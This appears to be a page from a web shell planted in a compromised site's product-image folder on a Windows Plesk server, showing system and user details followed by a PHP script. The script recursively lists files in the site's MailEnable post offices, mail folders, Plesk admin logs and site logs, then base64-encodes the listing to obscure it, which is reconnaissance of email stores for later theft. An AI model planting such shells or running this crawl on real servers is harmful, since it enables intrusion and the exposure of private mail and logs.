System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)
Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product
[Back to List]
<?php
$paths = [
'D:\Inetpub\mailnames\nmvm.org',
'C:\MailEnable\Post Offices\nmvm.org',
'C:\Program Files (x86)\Plesk\admin\logs',
'D:\Inetpub\vhosts\appclients.in\nmvm.org\logs'
];
$output = "--- Historic Mail & Log Crawl ---\n";
foreach ($paths as $path) {
if (is_dir($path)) {
$output .= "=== Found Dir: $path ===\n";
$it = new RecursiveDirectoryIterator($path);
foreach (new RecursiveIteratorIterator($it) as $file) {
if ($file->isFile()) {
$output .= "[FILE] " . $file->getPathname() . " (Size: " . $file->getSize() . ")\n";
}
}
}
}
echo base64_encode($output);
?>